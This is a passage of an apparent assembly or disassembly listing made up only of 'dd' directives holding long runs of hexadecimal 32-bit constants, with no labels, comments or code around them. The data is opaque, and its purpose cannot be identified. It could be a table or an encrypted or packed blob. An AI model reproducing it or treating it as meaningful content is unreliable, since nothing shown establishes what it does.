0A19CC272h, 1B7C00A8h, 0E58D52F5h dd 1600B589h, 0A02DB9E4h, 7C666ADCh, 609400F8h, 0FCFF4556h dd 50B8E90Ah, 0B2387807h, 5C002115h, 5C5B4E13h, 7100005Fh dd 0C10936E1h, 4707C8A8h, 0E7276E96h, 0C3751BA0h, 62740049h dd 6014A32Eh, 68122F8Ah, 1D076586h, 0C6C00AD7h, 0E47542h dd 9ADEF8F5h, 0BB63B209h, 0AE1D7300h, 14338E95h, 48570074h dd 84516C66h, 9A0076E0h, 0F9601C9Ch, 17D1EB7Fh, 7E3A92h dd 0EE83302h, 0D800CFE4h, 9DB4414Eh, 0FCA8C2h, 0A0388125h dd 0EE33EDABh, 68699000h, 0E5191587h, 323D0431h, 0BE1C083Fh dd 0DAB39700h, 18C9D6h, 49FC2DA1h, 0B8596536h, 0EA737126h dd 0FDB16800h, 141EEF7Bh, 0C2756BF9h, 3A49C800h, 57819B04h dd 34F2587Ah, 9FDF2E1Fh, 5018DD7h, 0C43A0F31h, 7206A420h dd 0E551006Dh, 24997462h, 7139B98h, 0EE00CFC9h, 84FFFB31h dd 959E396Ah, 0E600FC58h, 341BB4E3h, 4E008177h, 8FA739A3h dd 0F1EAADh, 5B057470h, 501D3D73h, 3BAF1F00h, 0F064A0D9h dd 0D57F3B94h, 0B594980h, 8B2EBE89h, 4B0DA71Ch, 202F3381h dd 2C7486B7h, 0E0CD0017h, 0F28880D6h, 0FA001863h, 2161C45Fh dd 3EE9240h, 6ED7ECD4h, 1B88B502h, 62007F5Bh, 0B6C5BAB8h dd 3E42FAh, 0E9E6FDCh, 1D0B0460h, 9C2F4C00h, 68D88AE8h dd 0D7A300CEh, 0F2C6B8D4h dd 0EB00111Fh, 5072890Ah, 0DCF7626Fh, 0E782C066h, 0B2DFE5B4h dd 6783D300h, 869CD639h, 0B43151E3h, 82C5F8h, 8D290CF4h dd 3D062E1h, 0C6FF4F00h, 0FC650891h, 0BEFA77h, 0B4E95FD8h dd 0A09394C7h, 8036C33Eh, 0D5713766h, 586CEE39h, 7058917Ah dd 0F3196803h, 88B83879h, 7E0E8C4Bh, 1BCFCEBh, 0D933028Fh dd 16CC9F4h, 1E2217D5h, 0E895C24Dh, 62006127h, 96F1F23Eh dd 7E2C4AF0h, 67BF00C9h, 0D859A884h, 7C00E578h, 0F0387288h dd 483D7565h, 31587485h, 0BC322B00h, 71C10884h, 0DE2A7F00h dd 488DBB81h, 18220015h, 31292766h, 0A6008FB1h, 4C15451h dd 95197Fh, 0E212476Dh, 8FF0E329h, 1D3B3E79h, 46027D16h dd 0D6337505h, 0A0B48F37h, 7C9A1D9h, 6024FB97h, 394B0029h dd 0FEA0C1E4h, 5A5C8ACEh, 73E70BC7h, 990420C7h, 0F011C16Bh dd 68A00005h, 306AAB37h, 5FB84376h, 0DE9F0807h, 0A6A7F967h dd 0C0841EF2h, 0BB07EFh, 4AF1A542h, 9136FAA2h, 40064601h dd 535B031Eh, 7195C4h, 0BD0259DDh, 58E65A13h, 68993Eh dd 627BD775h, 3550E2Ch, 2E17AD15h, 6DB082CCh, 7FFEF9BDh dd 0D880D4A2h, 4C1E5BECh, 3B00C5EEh, 0A58937E8h, 6F927Dh dd 64D01488h, 0F4B86E69h, 41541F00h, 9D8C24FAh, 0E32F023Bh dd 83BB6577h, 0FE809442h, 0FD91252Eh, 6D0F4098h, 603387A9h dd 6EB9D2C5h, 3AAC005Ah, 0AE60FEF5h, 7D00013Eh, 2A4CD754h dd 0ECC888Ch, 9CF73DB7h, 71BE2E00h, 3AF2C851h, 24B40A00h dd 0EBD6770Fh, 0F93B07E4h, 90DC7367h, 5DB385F6h, 8A13FC00h dd 563AE76Eh, 0C76F07C9h, 50B02AE3h, 540D2F0h, 9E8FE000h dd 53C05C2Eh, 0AF68485Dh, 0CED840h, 29781BDEh, 0A2FEFB0Ch dd 7004BB01h, 23B1E111h, 1E67A8CBh, 9F1D0324h, 144E69C1h dd 832DE8E8h, 374FAD01h, 0FBA8711Bh, 725394E8h, 0E23898BEh dd 0F7E41081h, 0EEB8C021h, 428034h, 7CDF1961h, 6766066Ah dd 0B6BBAB05h, 0EC0EC0F2h, 551DE70Eh, 0A117E700h, 568F0110h dd 0FD513E4Bh, 38BCF4DBh, 143AD77Ch, 0E36F8071h, 2B8C4F19h dd 8DE4007Bh, 2E63D923h, 6949B57Dh, 0AEB20AA0h, 428DC29h dd 0F7253801h, 800C3C4Eh, 7A15E1E0h, 3BDB9813h, 0F99822A5h dd 2E263882h, 331DB900h, 71C2537Bh, 2C8C7858h, 0F0226Fh dd 95C612FEh, 0BC007B45h, 42B8C24Fh, 0C0239D04h, 6C020120h dd 0D400510Eh, 0F153E561h, 9D7AAECh, 79546A1h, 2927000h dd 0F800835Fh, 40BF2466h, 2FC010h, 0F0B9DF46h, 7AF7CCB2h dd 8125293Ch, 6B4D2E5Ah, 1430A5E5h, 0DE9A003Ah, 524195Ch dd 904802E1h, 0F48EFh, 735301F6h, 755AB93h, 236A49A4h dd 897E308Fh, 4A00F3C7h, 0A7087139h, 795B14B5h, 522E284Dh dd 590704E4h, 301E8910h, 188B3F0h, 30F42DDCh, 0FCF5F82Eh dd 0F008907h, 1954058Eh, 0B71FF9Dh, 0F1CB77BBh, 4860108Fh dd 5358BDCEh, 35FB9700h, 14634B6Bh, 0FE1A7512h, 28F2013Fh dd 629C9F59h, 0CD44080h, 9101F864h, 78C6687Bh, 0E1C8B443h dd 0AC950099h, 46D23B7Ah, 0D100A1E6h, 844F5EAFh, 350F39Ch dd 55B1BBA8h, 0BDA86471h, 650012D7h, 72919556h, 49D74E2h dd 41E1EA3Ch, 0FE64A0CDh, 97D70086h, 8A0EF3F7h, 1E031DDEh dd 8705EBAh, 3F36A0B0h, 0EFDA00D3h, 0D1DB06C6h, 30584BFCh dd 8CEE2EC3h, 59A93B00h, 1C55D4E0h, 40AC8113h, 5EA0100Dh dd 0F24E6958h, 82689800h, 8DDAE5h, 0B0A22CE4h, 11C0F6DFh dd 7690A300h, 0D93CD6FBh, 7D1704Ah, 9867C641h, 7492E012h dd 0E400C5A1h, 0E3A09C97h, 95542Bh, 9BAA01CAh, 3A1B28AEh dd 2E507D0Fh, 6AB44061h, 70FFABh, 0CBD326FBh, 0C22F4B69h dd 1E63E400h, 762BEFF7h, 64EA16B8h, 0F8261CECh, 79C4A403h dd 0E4D8D93Eh, 0B200C7ABh, 958CB88Fh, 39BBB4Fh, 0A4D3D06Bh dd 0EEF0623Eh, 9098821Eh, 4E80D900h, 424FA610h, 0E4790050h dd 56FBF270h, 0BE0F1B98h, 0E478F190h, 0D8C02355h, 0A1C40Ah dd 80C2DFD7h, 0ABF8FDBFh, 0BE1DEE1Ch, 59E99E40h, 9263F0Ch dd 1E29BDD2h, 634168C8h, 303DD527h, 61AA58h, 0C149FF33h dd 0B266088h, 42B20413h, 0B14C9000h, 0A5E936h, 7098BDACh dd 599DDF5h, 857E7700h, 53F9C86Dh, 0B9C4003Dh, 0EE9CF4AAh dd 4E12E3CDh, 280F662Dh, 0D6AC47BAh, 0FAF7D5C0h, 0C4F816h dd 6DB0FB7Ch, 597E79A2h, 909AE7Fh, 42AFAC8h, 2CC0311Ch dd 71C9B4h, 65E1E74Fh, 0EDC4886Ch, 38BC69F2h, 0FF565400h dd 1FBE708h, 0E65BA5D7h, 0D8583EDDh, 2400DC07h, 0BE25FCA7h dd 1AB73A0h, 92743C7Ah, 0C0CA69F0h, 1C0F166Fh, 8FD960F1h dd 77146162h, 92301FCCh, 3FFFB0A0h, 0C380EE07h, 28A8347Ah dd 7116129Eh, 4FA7D19h, 0C03DDB36h, 966C76FCh, 1A416E1Dh dd 0C6BB2EC1h, 0A206B3Ch, 30A0142Dh, 0F00A2BDh, 6E47E3F2h dd 0CC009BCDh, 24569AE9h, 5BAB6EAh, 0F3C8F573h, 0CED46037h dd 500918Eh, 0EB446ACBh, 160AD2C1h, 0FC738BAh, 1F80CE3Eh dd 9828F4ADh, 873FCFFEh, 0B00D865h, 9CDCE7DEh, 7921E20Ch dd 0BF2B004Ch, 7A85604Fh, 6700B2F7h, 0C9E71D6Bh, 0A87228h dd 0A6CC1655h, 0BEDC6585h, 3590CF07h, 95D0ECEAh, 40D6D2h dd 48042153h, 0EFC7A57Fh, 1605603h, 0CEF1DFh, 26E51310h dd 0DEA594D0h, 786D4001h, 0A88EB8Ah, 0CCE0AFE9h, 0CEB11319h dd 4A1400A2h, 3972581Eh, 4B65DD00h, 9847BA69h, 830D006Ah dd 0DC46DAB6h, 6D06A1F3h, 5BC864E7h, 8DF20068h, 5CD25F36h dd 7380F85h, 0C4ED800Ah, 53240328h, 6A60C24Ah, 0F0005120h dd 0B3EFCBh, 0A9B01B15h, 591454A7h, 0D8B29403h, 0E0564BD3h dd 0EAAE97h, 0E36525D6h, 1D752CF0h, 387248h, 0C5B28F32h dd 0F0EE2FBCh, 0BF1B0061h, 0E954D0F0h, 0B2D28CD9h, 0AD9DEC02h dd 3F6DE056h, 612100E3h, 3566E75Bh, 0C800F9C7h, 0A2C03B17h dd 0FA522Bh, 0EF5A797Fh, 5C8F94D4h, 0E5D8AB00h, 0C170F2DBh dd 0A5EA0033h, 3FB7FC2Ah, 8C00C0ECh, 86712E3Ch, 0CCB812h dd 0A239678Bh, 5E1A24D0h, 738AF000h, 61BEEAD6h, 0EE620064h dd 43D0C5Ch, 1A266DB3h, 10005CA4h, 53851F0Bh, 0D32B00B5h dd 0F9E3F86h, 0BB0394BAh, 34634798h, 0CCB6A8EEh, 7DEF018Fh dd 4E86CD7Fh, 0C64C6082h, 935DEA00h, 0FBEE3688h, 68304931h dd 17E0C816h, 0B23803DCh, 3DA0FF2Ch, 0ABF2BDE1h, 628F6000h dd 5BD2F811h, 21970576h, 80ADE577h, 0B2220310h, 0FD3BF670h dd 71C18CB5h, 3BAF5002h, 73BD88FCh, 0D35A1778h, 95300185h dd 0D82917EAh, 0C50C97F3h, 288A3C63h, 0ADDD06C3h, 10898737h dd 3BD2CE03h, 808DBC0Dh, 4814971Bh, 0C726106Bh, 0D74A0084h dd 0D3288838h, 17350503h, 87D2B909h, 90BA07A0h, 0ED9C005Ch dd 38FD9789h, 6200F272h, 23EB7F30h, 12CD8A79h, 6A5132h dd 12D2FE1Eh, 980339D6h, 1DFF283h, 0E666A8A7h, 9CC3002Dh dd 93BB13BCh, 0A1006275h, 11C760E3h, 13B1AE7Eh, 0C0367C3Ch dd 76EEF2D4h, 124064Ch, 4631E383h, 26DC11BCh, 0EFEA0096h dd 84941CD5h, 0C93FAC45h, 0B4071E7Dh, 275081C0h, 3582622h dd 0DC3A2303h, 0EDB06DECh, 0E817EE38h, 0F8D07EF8h, 7D9AAB2h dd 7D34181Fh, 7BB190B3h, 502E849h, 50968AC5h, 6A74E075h dd 24500ADh, 3379DA38h, 0A33BC48Fh, 0BC1B8116h, 61BACDA4h dd 5F028C78h, 7F47FC13h, 734C5878h, 9A0E7E1Ch, 604FBB5Ah dd 7EF1719Eh, 0EBF93B45h dd 7D386D01h, 0D057E76Bh, 0C600901Ah, 8FC51F5Ah, 253258h dd 0EE7AFA96h, 0C2CFE2BFh, 44F43900h, 20A317E6h, 0F00E006Ch dd 563A688Fh, 82004DAFh, 6DFFAC66h, 2D4C53Dh, 0EB1B0215h dd 41BB46h, 0FDFA60D3h, 80E3143Dh, 5ECAF4E0h, 0D80B8Fh dd 1055071Ah, 76469D58h, 2ECE3300h, 0AAB85212h, 0F413EC8Eh dd 0F893006Fh, 0C7956C46h, 911E0FA1h, 0AE44FB10h, 1EC3B6D3h dd 9A709822h, 0ACBB4C29h, 5D7057Ah, 813E0139h, 346BB580h dd 1C4C1A58h, 4747CF50h, 6A0E129h, 1F0DD7A2h, 407C13A6h dd 0A8AA09DDh, 0F700AB20h, 5B659629h, 0E65166h, 767D2490h dd 3B33BEEFh, 0A435AE0Eh, 55DD61ADh, 0A4207528h, 96FA00D2h dd 91F662B1h, 6400B05Eh, 0A8951752h, 98FD399Ah, 790700DEh dd 0CC86188Eh, 131FC0E0h, 7D80A0BAh, 514023FFh, 0AB3D282Eh dd 212D00F8h, 81C274BDh, 0DD003AF4h, 93919947h, 0F808F9Eh dd 24AACF5Eh, 6D38D960h, 71005522h, 966E0F67h, 65E54AEh dd 30B1FA02h, 0E55BB62Eh, 2C09F800h, 9CA81A8Dh, 27DD019Ch dd 299015D1h, 0CEA20124h, 0AEB1BFFBh, 0DA65A440h, 0FCAA1370h dd 7E40162h, 68308BF4h, 0A7007EA4h, 96164447h, 33D1EF5h dd 0FF60053Fh, 3C886A4Eh, 4F49ACF1h, 0EB88005Ch, 5AD1682Dh dd 7FB71E53h, 77D28078h, 75C8BF63h, 19AC900h, 0E7A02CBEh dd 84CA1480h, 171E8F76h, 0A2FD4045h, 72DA1E7Ah, 0C4F15A28h dd 6D9C1D02h, 0F08D2EDEh, 0D5390198h, 680137F2h, 484AE05Dh dd 2280FDE9h, 21A68FA0h, 0DDB7E171h, 61D2F440h, 0BD970088h dd 0BB81C822h, 847616F1h, 531C63Fh, 65FBE2E7h, 5A6AA8D0h dd 0A0940E5Dh, 0D804DBEh, 0BA98EB80h, 3335181Fh, 139F4581h dd 6620251Eh, 0E5FABEh, 6CFFA966h, 0FA27904Ch, 61C69C00h dd 0BA9EE351h, 84780741h, 0C06305F4h, 0AD87DD7Ch, 74A0C700h dd 81E5A88Eh, 770D000Ah, 241E394h, 0B7005A53h, 9838D34Ah dd 87B99Dh, 0BF23A65Fh, 8F7B2C4Eh, 33CF200h, 0F40E2D75h dd 32BC40h, 0FA5FCA9Dh, 0A700172Fh, 0E6F04295h, 3AEA4648h dd 24488945h, 1006548h, 7B8735A3h, 6000C99Fh, 0F86836B6h dd 0DED196h, 66583CFh, 0A4FF4A3Eh, 91AD6E00h, 465F0C78h dd 3C09E12h, 8A3B1D13h, 4323AFB8h, 8E8C1900h, 2FF4F981h dd 0B7135865h, 1B469100h, 7EC5E0Ch, 0D00D9300h, 0EF198310h dd 4029003Eh, 0CF31F3FEh, 1D395262h, 0B04B8006h, 0E359046Ah dd 7BA4A51h, 0CB6F437Ch, 7B898420h, 55026EEFh, 0D25195D8h dd 0B3FF43D7h, 0E272E092h, 8F400BF6h, 4D80DC50h, 206BA030h dd 31187A00h, 0F010DA9Eh, 255E845h, 73F88886h, 28716993h dd 30363806h, 672AE778h, 76DEC078h, 6A50A2C6h, 0B9003084h dd 0BC5E515h, 19DC04h, 69AABA0Ah, 0F25718EDh, 5E000C78h dd 0C91E9255h, 0E83F393Ah, 28CE244h, 63FB605Dh, 0DB814267h dd 0C45A2C59h, 71000AD9h, 1DE2CA95h, 0A4F3F2Dh, 0C90DF1ECh dd 83116084h, 320270F4h, 0B36063C7h, 8FA460BCh, 0D9B7082Fh dd 670942F0h, 0E6507011h, 7CA49817h, 963D05DAh, 0F15773A2h dd 0F4B8ED44h, 9500B579h, 0C91E236h, 855E0Bh, 15664893h dd 9AFA0D57h, 0F6C6BA00h, 68D21A5Ah, 5F910734h, 10DDAB8Ah dd 0DF8EBD51h, 0A856CCE3h, 0DB1AE403h, 0F8AA3611h, 4FB525B6h dd 0D0D0049Eh, 0C2D1402Ch, 2D4031h, 5C9BC424h, 0AFE7BB14h dd 0A9324C07h, 0B9C07B05h, 306D3F73h, 35515778h, 7000E6BDh dd 4303E961h, 0F13079h, 21F03EFFh, 26A3B9B4h, 0CD005DF0h dd 0B6F6EA58h, 0FAF73h, 0E6F11FC7h, 69BAE121h, 9275BE02h dd 7874F055h, 0B88C0078h, 5D12075Eh, 6F00171Dh, 15790C4Fh dd 3C6B30EEh, 5A0020F5h, 0A44290C2h, 9BEA3E8Dh, 8BFC3C09h dd 60840741h, 0F9C4C54Eh, 0C8400680h, 76777EDh, 26B150D2h dd 700079FDh, 922E6A22h, 32843E01h, 78C537E3h, 87DC20h dd 0F2F9924h, 0E1D893BEh, 62129225h, 98936018h, 5B5200DAh dd 19D9F17h, 6107A3FBh, 2AA8AF2h, 59E2AFC0h, 1C80978Ch dd 929045E9h, 8176F500h, 3B3C1433h, 60EBF2h, 0ADE67Ah dd 0E69BE3F9h, 9D8AF3B0h, 0DE072400h, 0C0FF7CC8h, 16D700AEh dd 666ADB94h, 59504D4Ah, 0B7004994h, 3ADC64Ch, 238FC9Bh dd 711180E1h, 78EC6C53h, 699DFE0Fh, 0C0C74FF1h, 5DF76321h dd 0D43A6038h, 0BC2C3196h, 97EDB700h, 4F70CA02h, 3BC50093h dd 0CE1D74D9h, 0B04813EFh, 5E060038h, 0BD6FF533h, 0E2BC007Bh dd 17DB6E2Fh, 0C000FEC2h, 4B5FD14Ah, 0E68149h, 0CF3F2545h dd 0B918CB3Eh, 0B327F000h, 7090DDDAh, 0A6310012h, 36ADD77Ah dd 0E600FF5Bh, 8C1C77F5h, 279D27Ch, 2A4370F2h, 1C4085BBh dd 0FC004F06h, 0C57C1DCBh, 4AECF9h, 852EDB36h, 0E24EB937h dd 5BAA2307h, 0DF31C112h, 943413A4h, 2FB900BBh, 0CBF3A5B3h dd 1A006D99h, 5614E6A1h, 27E965AEh, 20C0EF32h, 0B023FFAh dd 9F225AD2h, 493606Bh, 345700F8h, 58E2CC41h, 0D00F3DCh dd 0DBF18AB3h, 0F51F24h, 0A225C628h, 0EC73342Ah, 6B0DAA00h dd 5A943CAEh, 0F0F200ABh, 0EF7D475Fh, 0C300B41Dh, 7F3958E4h dd 0FA5E34h, 0CBDD45D1h, 302667D3h, 4F858499h, 0A4B09D04h dd 0EEB11F33h, 9991401Eh, 0B7A5CC37h, 2EE38700h, 8E2A35DCh dd 0D5D20339h, 90639D97h, 0A5B4BEA0h, 13C4B100h, 0BF5EB9BCh dd 701400AEh, 646C397Fh, 4C00D072h, 82BD3C4Eh, 32B558h dd 94F4E77Ch, 3F6D4A30h, 5700D0EAh, 0FB3624D9h, 981974h dd 0A5CF1C39h, 5E7EDCEAh, 6D05C000h, 2237936Ah, 8A492E5Dh dd 0FD3500BCh, 3943F161h, 0B49D4C03h, 0BF83294Bh, 0B11C014Bh dd 8DE5AEC3h, 26881460h, 800C564Eh, 5AEB7E79h, 0E902CE40h dd 16DDEF58h, 0B7A060A7h, 7BAD0F29h, 0E0206CA9h, 84716B8Dh dd 965FC301h, 982BC470h, 0A4F670h, 214CC802h, 0B469282Eh dd 3C04DCFCh, 8CF4788Bh, 0D5A54C0h, 0F52400F0h, 19DEE766h dd 71001257h, 0D12311D9h, 0E4304FCFh, 9A4E0049h, 0BB59A94Bh dd 80075E52h, 0D7C935B4h, 39E05041h, 0DB71E4h, 0A8303A89h dd 6C478890h, 282A4500h, 9F1E3B82h, 260C0483h, 0C0278912h dd 0E2B15F0Bh, 0D1F9426h, 0D702C00h, 54F15AAh, 5D49CCF9h dd 0B94483A1h, 0F0DF1FD9h, 2000AD4h, 4EFE541Bh, 1BE71A3h dd 0FF1C9405h, 8C7E5918h, 0E0FABB78h, 0B3E100BFh, 0F61FD9F2h dd 25052EFDh, 0C1428114h, 38B908C0h, 0E1A60071h, 974EF5EFh dd 0B13F1605h, 0AE07BC5Eh, 0B0082FEh, 904806CAh, 50C500EBh dd 0A16337D4h, 0AB25145Dh, 6698807Ch, 34AAD39h, 0C46ECAA8h dd 0E5FAB1BCh, 7637C068h, 0F248B81Fh, 1BB079Fh, 884B680Ch dd 34CC8C79h, 0CFB809h, 86FCD90Fh, 0B20C1F95h, 182201Fh dd 0EDB04FC0h, 0E78825h, 7269FE0h, 5349EBC9h, 56209D00h dd 7F0F4672h, 0CD6F3D28h, 0E97710E1h, 8E4270D2h, 2B53171h dd 89E4BD18h, 0ED880F3h, 67697Dh, 0D084150Ah, 9D0BB229h dd 3E578200h, 5FFF854h, 555A0703h, 0A0DAC9C7h, 4C14EC4h dd 3844B302h, 68A83B1Eh, 12A724h, 1A51B74Dh, 7D250BE4h dd 2CC7F203h, 642B1DFh, 0AB6CAE80h, 670E700Eh, 0CF18A660h dd 0A1348C91h, 0B13C00F5h, 9348D6D9h, 6600C9D0h, 0F716CAB2h dd 0E01F9Eh, 1991558Ah, 0DA3A0253h, 444CD600h, 0FB62CDF3h dd 0AB700028h, 5C9FC4A8h, 0D40013BAh, 0A7A3AEB7h, 0B976A2h dd 0A90184E2h, 105477BCh dd 66BA0F00h, 0A0A2C247h, 232800F3h, 78DBAD7Ah, 0E100363Dh dd 54DC1E08h, 7B32608Ah, 0F9CB005Ah, 0EA39EB07h, 6D00F7D6h dd 36DAD422h, 6B7B03h, 89E96ED9h, 9A547409h, 0DD074600h dd 7923F249h, 94EE00BDh, 42FDA6B9h, 0F50F6057h, 81B63CF0h dd 0AB1073B7h, 3528320h, 0BE2A87A2h, 74C07E72h, 8E0025E6h dd 7A39D6AAh, 0B7DA11h, 82180B1Fh, 0BA6CC38Ch, 1B087718h dd 4CBEAA10h, 29167D31h, 0BF9840BCh, 88189E4Ch, 35A9BD0Eh dd 0D4EE60ECh, 4C790F32h, 450EC02Ch, 78031BE7h, 1282138Fh dd 27D41440h, 86EB0400h, 2825063Eh, 0AE9B00EFh, 0A33A81FDh dd 0A4002E32h, 0B2DF2674h, 0B06309B0h, 1FD0061Bh, 40E934BFh dd 672B371Ch, 128DA780h, 16E9248h, 5209EEB5h, 0CA30286Ah dd 5A005044h, 9F1A0CBBh, 92A1F93h, 0A74AF6CCh, 4EBE1400h dd 0A24F8E01h, 13387C00h, 9F4D92h, 9B1A0D2h, 0C7D68B43h dd 0AF1E601h, 721B2B3Ah, 0BAA45980h, 7D629729h, 284D6801h dd 3D469463h, 902DD1FCh, 6E2C0084h, 76F96619h, 5901413Ah dd 0B5E7F35Dh, 0C0F8A367h, 509817CBh, 0C6D500FEh, 6C229D64h dd 0ADC73000h, 0E53D743Eh, 0D7AA3080h, 33CF43E0h, 0E994FE00h dd 5F2885DDh, 26E4E2C4h, 214ACE6h, 0C9A8F556h, 0EFAB1040h dd 8D00509Ch, 0B30B4AAAh, 0C3747A14h, 8E3BA7F1h, 0DC2DA0DEh dd 808C428Ah, 0EABC7708h, 3E7E1485h, 0C8082C72h, 0A308D7CDh dd 1A26413Fh, 51C200D1h, 0E6E08B11h, 0DD10123Dh, 6780E52Eh dd 7E820C15h, 0C5B7A21h, 7B19270h, 207D5342h, 0AE28AFE0h dd 92422CE1h, 0F026A208h, 0EB65FF86h, 81643B0h, 15C1BE3Ch dd 2A182CBBh, 1A745089h, 0D42CE651h, 84A0676Ah, 2CA039C6h dd 84A8C1DBh, 0FCA870D2h, 5899B0BAh, 0E00FE1Dh, 794B2B3Ch dd 30980Ah, 0DC51E588h, 0BC5BC60Fh, 3699EE03h, 8C91C0h dd 854AA478h, 0E4316E86h, 0D3C380C0h, 30D7DA38h, 1870C452h dd 0AB00C82Ah, 5EFBDC8Dh, 736733Eh, 0BE7B39FEh, 0E6F3C33Bh dd 80827D81h, 0FF12A230h, 738CFC0h, 5AA67894h, 0E11B57Bh dd 0FA00597Ch, 7ED6E4D2h, 762DE300h, 0F9B3C5F2h, 0F5FE01FCh dd 28097BB1h, 95A7E020h, 96B9590Fh, 0FC05D3F0h, 8C40C8E0h dd 57805FB4h, 216A00A8h, 0DF59B1A1h, 2C0095B7h, 69A6ED02h dd 16BE4475h, 408C7E84h, 59DB8A60h, 8800D8D9h, 0B0DF5850h dd 9A645Ah, 3C4DB4E0h, 1ED02584h, 72BD1A00h, 0CC75B3B7h dd 3CF158B8h, 0E75D809Dh, 0F81EAC3Ah, 0C56B58h, 41C88D84h dd 51D539Eh, 0ACDD9F10h, 76D04F23h, 17F182C0h, 0F67FB55Eh dd 661A0B00h, 57E84BABh, 0F028C99Bh, 886AE4E8h, 0ABF4460Eh dd 555F406Fh, 87CAA9h, 0FE798124h, 0B746C903h, 0C5335300h dd 0F58D23A4h, 0DF2702F3h, 0F7308696h, 0D356E0D5h, 0F05F00F4h dd 2B3DD75Bh, 0AD00D6EFh, 0F680408Dh, 2EB631EAh, 62623BDh dd 1007A0ACh, 0B0049457h, 0ECC9D3h, 340F7837h, 0DF2A426Dh dd 0AC111700h, 4CA14FEEh, 0BE200048h, 6D530E28h, 1C308956h dd 0AFBB286Eh, 3EEE0085h, 0FE1BC986h, 0D307489Ah, 9B1D6D9Ch dd 2B03C2F0h, 0F78306FBh, 0CE7884B3h, 0C5A23001h, 0F4ECCDD3h dd 0B7EC30h, 2D630CB6h, 0E54ECB5Ah, 0D19DC900h, 76C45CA6h dd 0A21E015Dh, 0C35F6D46h, 0A43DE0DDh, 0B8BE1C00h, 27C65A77h dd 0DEB9007Ch, 61C3E109h, 0FE0C531Ah, 80417FE0h, 35570140h dd 12CCC7CFh, 4C22C49Fh, 145BCE00h, 58866738h, 83440049h dd 0A6204E84h, 0D30066B5h, 4DEECEC4h, 4B858Dh, 563E1AE1h dd 130B8858h, 0E3EADA00h, 0C34C94BBh, 0C7E2CEh, 731C7C85h dd 975D546Eh, 1DBA4800h, 0C8D58A13h, 12D0017h, 0A4BB8F59h dd 26009541h, 5845EF97h, 0B45DC2h, 0FF359A68h, 1193B27Dh dd 8E05291Eh, 54B7AB00h, 0F67A4CBh, 0F11D9173h, 0B45F0BA0h dd 201C2F93h, 0CE4759DAh, 0FB07C49h, 39366D4Dh, 61004F79h dd 2D9C9121h, 7800987Bh, 824A9FD0h, 252BADEh, 868AFEFFh dd 0C402DB0h, 5900D332h, 0CE3F2738h, 8273CFh, 0A2DAA021h dd 0F0FAFDEAh, 0E5B1C800h, 5C6D1FEFh, 0A14D00ABh, 2A7E4699h dd 0BA004ED0h, 0BEC265C1h, 0BF8441h, 8D6A3720h, 229AB433h dd 142E6200h, 536D54E0h, 158F00FBh, 0AB0CF8Ch, 4C04315Ah dd 84449278h, 93F78FC0h, 6DEB0081h, 1A66FECFh, 6207C365h dd 0BE0E2B43h, 16C0E037h, 0B84C4FD4h, 0B3FF0119h, 326C0D4Ah dd 0F083E0FCh, 0DEAE2B27h, 0B62C0047h, 1110AFE8h, 0E780D900h dd 0CEEB665Fh, 2E3D0017h, 67482824h, 75079FBAh, 23376485h dd 1B74FBB0h, 0C2BFC8Fh, 0AFD76D79h, 9E586EFEh, 589C00A9h dd 9018E2B7h, 91C1094Ch, 54001A08h, 0F573272Bh, 9A00367Bh dd 85A6013Bh, 0BA76EAh, 0B1E81C43h, 401007F4h, 4EBC3207h dd 0F840DF55h, 0A7B88h, 0B55DD1ECh, 0BBF7D73Ah, 74524B00h dd 0D30C75ACh, 47493DDAh, 27E000FEh, 3236B351h, 450F97B5h dd 10EB0CE4h, 0C0D19B1Fh, 8817664Ah, 34003905h, 797C8D3h dd 0D80690h, 5E0BE16Fh, 0CDD4FD60h, 0FE6AAB01h, 0A3741D0Eh dd 3C6FFCD4h, 0D8805149h, 96507AAEh, 22034A31h, 8F01FFCBh dd 37AA80F8h, 0C569092Dh, 58A3F354h, 0F588D37Fh, 1D1546B5h dd 808828B4h, 0EAA85C77h, 19D700ACh, 0D4A12051h, 960E4826h dd 4FC3F6FBh, 0AD3E439Bh, 9E18002Fh, 941245B5h, 0C7005EA8h dd 5DA79CC2h, 36B592Ch, 0D82753FFh, 0B4C0CBCFh, 93C6676h dd 78388750h, 46906507h, 13019Bh, 30E38190h, 9CAFA1FCh dd 0BDB99F00h, 53C443EBh, 7DBB0350h, 88D3069Bh, 137CA2B0h dd 0C18AF500h, 52CAE29Fh, 4CEA004Eh, 6D38B81Bh, 0F812E7BFh dd 0CF03FE3Ch, 90F9A006h, 1B44E3h, 8EED4534h, 908F1E13h dd 7DAB9200h, 225FF76h, 79301E1h, 3C7BB8D4h, 9448C4C3h dd 0FD122200h, 0DF03EB40h, 74CF0009h, 245270E6h, 6E036B95h dd 89E79964h, 89D8DA26h, 0B8A83E8h, 1B100023h, 990F9D01h dd 8A002A91h, 0D968623Ah, 6F4F46h, 4823B656h, 0BB3C1913h dd 9D58AEB8h, 396500F2h, 0E3D208BCh, 710F00E2h, 82BDC2BFh dd 850074A6h, 64598136h, 2ED3F8h, 69E6EBB2h, 0B6C482AEh dd 3155BF0Eh, 0B44600BCh, 39AD5Dh, 1653CDD2h, 0E80E48EBh dd 0B0F0800h, 3BB894A6h, 39DD176Ah, 337CE086h, 0FF16E00Fh dd 0C73121B4h, 0C4304C84h, 762A1FACh, 0C0019EABh, 7F9E675Fh dd 0CF3BC93Fh, 0ACFE809Bh, 392B4B0Ah, 0A9CA0085h, 5B93D655h dd 22143B77h, 489864B7h, 690201C8h, 93B1A24Bh, 0F91DCCCh dd 1A50A53Eh, 92334CE0h, 0C13A44F9h, 0CCE18088h, 0C78C7796h dd 84FAE2h, 0B2ED58F2h, 220E68B7h, 1C8E2800h, 2BD3AB91h dd 0A0DB00F5h, 76EECCD9h, 0EAB0CF03h, 95483BE6h, 9FA0E88h dd 8F4760D3h, 167DB12h, 80D43065h, 0CE3BCDB5h, 1A0FF5h dd 0B06DCF28h, 4D2000F2h, 9477C92Ah, 0EEE6AD86h, 817EAC01h dd 9B6A3A03h, 0BC046C8h, 0CF1E02Eh, 0F808EA01h, 7BB8FBB2h dd 4905C4E9h, 984FDAEAh, 16361000h, 8311BDh, 0C212A07Eh dd 0F3EB1586h, 469E242Ch, 4D5BD500h, 4261B9h, 5AEE7CAh dd 11B799A5h, 695EC900h, 2D3021C1h, 4F3C00A0h, 0E153E6F3h dd 0A7002C9Ch, 6C470426h, 32BCCA9h, 8C6B7B80h, 78D0195Bh dd 0E5E0FD5Fh, 7600CC92h, 0CEC2DDBDh, 0E65CB468h, 0C5C8004Fh dd 0BBC103E0h, 4E0ED811h, 0A030EC66h, 0B6ABDA9Dh, 69ED3D7Bh dd 7027DC80h, 39F2608Ah dd 7F3C7800h, 256D6368h, 820500E1h, 